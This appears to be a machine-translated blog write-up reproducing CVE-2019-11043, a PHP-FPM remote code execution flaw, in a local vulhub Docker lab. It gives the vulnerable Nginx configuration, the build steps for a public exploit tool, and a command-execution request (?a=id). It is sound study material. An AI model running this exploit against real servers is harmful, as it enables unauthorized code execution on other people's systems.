当前位置:网站首页>Cve-2019-11043 (PHP Remote Code Execution Vulnerability)
Cve-2019-11043 (PHP Remote Code Execution Vulnerability)
2022-07-06 04:54:00 【w01ke】
One 、 Vulnerability description
CVE-2019-11043 It's a Remote Code Execution Vulnerability , Using some specific configuration of Nginx + PHP-FPM There is a vulnerability in our server , Allows attackers to execute code remotely .
towards Nginx + PHP-FPM Server for URL send out %0a
when , The server returned an exception .
The vulnerability needs to be in nginx.conf Specific configuration in can trigger . The specific configuration is as follows :
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
Attackers can use line breaks (%0a) To destroy fastcgi_split_path_info
Directive Regexp. Regexp Damaged, resulting in PATH_INFO It's empty , This triggers the vulnerability .
Two 、 scope
stay Nginx + PHP-FPM In the environment , When the above... Is enabled Nginx After the configuration , following PHP The version is affected by this vulnerability , in addition ,PHP 5.6 The version is also affected by this vulnerability , But for now, it's just Crash, No remote code execution :
● PHP 7.0 edition
● PHP 7.1 edition
● PHP 7.2 edition
● PHP 7.3 edition
3、 ... and 、 Loophole recurrence
Use P Cow's docker The environment is reproduced :
PHP-FPM Remote code execution vulnerability (CVE-2019-11043)
1、 install docker、golang Environmental Science
sudo apt-get install docker docker-compose
sudo apt install golang
2、 Build a loophole environment
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043 && docker-compose up -d
After starting the environment , You can see the default page of the vulnerability environment . Here is http://127.0.0.1:8080/index.php
3、 Install exploit tools
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build
Error reason : The default is proxy.golang.org, Can't visit... At home
Change a proxy address that can be accessed in China :https://goproxy.cn. Re execute the command
go env -w GOPROXY=https://goproxy.cn
go get -v && go build
4、 Exploit
go run . "http://127.0.0.1:8080/index.php"
visit http://127.0.0.1/index.php?a=id
Be careful , because php-fpm Will start multiple sub processes , During a visit to /index.php?a=id You need to visit more than once , To access the contaminated process .
curl ip.sb by Linux China query public network IP The order of
Four 、 Reference link
https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md
https://github.com/neex/phuip-fpizdam
https://wolke.cn/post/4f87817f.html
边栏推荐
- [Yu Yue education] reference materials of complex variable function and integral transformation of Northwestern Polytechnic University
- Fuzzy -- basic application method of AFL
- MySQL reported an error datetime (0) null
- Bubble sort
- Basic knowledge and examples of binary tree
- web工程导入了mysql驱动jar包却无法加载到驱动的问题
- 麦斯克电子IPO被终止:曾拟募资8亿 河南资产是股东
- Upload nestjs configuration files, configure the use of middleware and pipelines
- Yolov5 tensorrt acceleration
- Leetcode 186 Flip the word II in the string (2022.07.05)
猜你喜欢
JS quick start (II)
Extension of graph theory
Postman Association
Application of Flody
A blog to achieve embedded entry
Orm-f & Q object
麦斯克电子IPO被终止:曾拟募资8亿 河南资产是股东
IPv6 comprehensive experiment
Programmers' position in the Internet industry | daily anecdotes
[classic example] binary tree recursive structure classic topic collection @ binary tree
随机推荐
Platformio create libopencm3 + FreeRTOS project
[Yu Yue education] reference materials of complex variable function and integral transformation of Northwestern Polytechnic University
Class inheritance in yyds dry inventory C
Upload nestjs configuration files, configure the use of middleware and pipelines
關於Unity Inspector上的一些常用技巧,一般用於編輯器擴展或者其他
Ue5 small knowledge freezerendering view rendered objects in the cone
How to estimate the population with samples? (mean, variance, standard deviation)
Chip debugging of es8316 of imx8mp
MPLS experiment
On the solution of es8316's audio burst
[lgr-109] Luogu may race II & windy round 6
ue5 小知识 FreezeRendering 查看视锥内渲染的物体
Use sentinel to interface locally
[NOIP2009 普及组] 分数线划定
2021 RoboCom 世界机器人开发者大赛-本科组(复赛)
Programmers' position in the Internet industry | daily anecdotes
Request (request object) and response (response object)
Redis 排查大 key 的4種方法,優化必備
ISP learning (2)
RT thread analysis - object container implementation and function